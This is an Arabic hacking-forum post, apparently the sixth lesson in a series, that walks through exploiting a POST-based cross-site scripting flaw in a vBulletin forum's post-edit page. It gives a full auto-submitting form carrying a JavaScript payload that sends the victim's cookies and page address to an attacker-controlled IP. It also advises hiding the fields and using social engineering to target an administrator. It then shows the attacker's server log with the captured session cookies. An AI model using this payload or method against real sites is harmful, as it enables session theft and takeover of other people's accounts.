Hàmigo UŗĐrãmä الادارة
عدد المساهمات : 239 تاريخ التسجيل : 01/07/2012 العمر : 27 الموقع : الجزائر
| موضوع: استغلال ثغرة xss الدرس السادس الأحد يوليو 01, 2012 2:43 pm | |
| بسم الله الرحمان الرحيم و الصلات و السلام على سيدنا محمد عليه الصلات و السلام و على اشرف المرسلين السلام عليكم
استغلال ثغرات Xss
في البداية رحت و عملت كاني باعدل احد الردود و حطيت كود جافا سكربت في العنوان و ضغطت على شاهد اولا و اشتغل كويس و نزلت الصفحة من الموضوع عشان اشوفها.. و للاسف لقيت انو استغلال الثغرة لازم يكون عن طريق طلب POST يعني الاستغلال ببساطة حيتم عن طريق عمل فورم و ارساله للضحية و لمن الضحية يضغط عالفورم يروح بيه عالصفحة مع جميع المتغيرات اللازمة و بكدا نسرق الكوكيز حقو ممكن ما تكونو فهمتو الفكرة مزبوط الان لكن في التطبيق حتشوفو انا قصدي ايه طبعا كان لازم اجرب على واحد ففتحت الماسنجر و الاقي بلاك هنتر متسكعا في شوارع النت فبدات العملية اول شي رحت لصفحة التعديل نفسها و عملت view source عشان اشوف ايش المتغيرات اللي احتاجها في الفورم عن طريق البحث عن "<input" فوجدت انو الفورم لازم يكون بدا الشكل(طبعا القيم حتتغير على حسب الموضوع فلازم تدور عليها بنفسك لمن تستغل الثغرة)
< كود: form action="http://www.s4a.cc/forum/editpost.php" method="post"> <input type="hidden" name="title" value="**********document.write("<img src='http://212.46.36.221/hereget.php?d-&@#&@#&@#&@#&@#&@#s: "+document.&@#&@#&@#&@#&@#&@# +"-location: "+ document.location+"'>");</script>" > <input type="hidden" name="message" value="0123456789"> <input type="hidden" name="s" value=""> <input type="hidden" name="do" value="updatepost"> <input type="hidden" name="p" value="5707"> <input type="hidden" name="posthash" value="be95f743792d4b32711f574ce59f5773"> <input type="hidden" name="poststarttime" value="1094257922"> <center><input type="submit" class="button" name="preview" value="press here" accesskey="p" tabindex="1"> </form> اولا الاكشن طبعا حيحدد الموقع فنحتاج نغيره الى عنوان الموقع الي نبا نخترقه بعدين جعلت جميع الصناديق على حالة hidden عشان الضحية لا يشك و ممكن تخلوها صفحة فيها موضوع و بعدها زي الصفحة التالية يعني اشتغالات السوشيال انجينيرينق عشان تخلي الضحية ينقر على الزر و جعلت في ال title كود الجافا سكربت هو
كود: ="**********document.write("<img src='http://212.46.36.221/hereget.php?d-&@#&@#&@#&@#&@#&@#s: "+document.&@#&@#&@#&@#&@#&@# +"-location: "+ document.location+"'>");</script>" > طبعا ملاحظين اني استبدلت " ب " و ' ب ' جربو ما تستبدلوها و شوفو ايش حيصير.. لخبطة في الصفحة.. الكود اللي يسويه يطلب صورة من 212.46.36.221 اللي هو كان اي بي بوكس اللينوكس اللي مشبوك عالانترنت عندي و شغلت فيه httpd و زي اي ثغرة عادية حاشوف اللوق و اخد document.&@#&@#&@#&@#&@#&@# و document.location بعد كدا اعطيت الصفحة لبلاك و فتحها(حتنفتح مع الي معاه صلاحية للتعديل و اصلا احنا عادة حنعملها على الادمن فحتنفتح معاه) و قلي انو فتحها فقمت شفت اللوقز و لو تلاحظو حطيت كلمة here بعد الاي بي عشان اعرف احصلها من اللوقز
كود: [root@localhost root]# cat /var/log/httpd/*|grep here 212.138.47.26 - - [04/Sep/2004:04:46:02 +0300] "GET /hereget.php?d-&@#&@#&@#&@#&@#&@#s:%20vbulletin_collapse;%20bblas tvisit=10940 03315;%20bbuserid=6;%20bbpassword=[THIS IS BLACK PASS];%20bbsessionhash=[HASH];%20bbthread_lastview=ax1x-ix473ysx10x%221094223658%22y_-location:%20http://www.s4a.cc/forum/editpost.php HTTP/1.0" 404 291 "http://www.s4a.cc/forum/editpost.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)" طبعا استبدلت الباسوورد و الهاش عشان لاحد يشوفها و يخترقنا باي في الدرس السابع
| |
|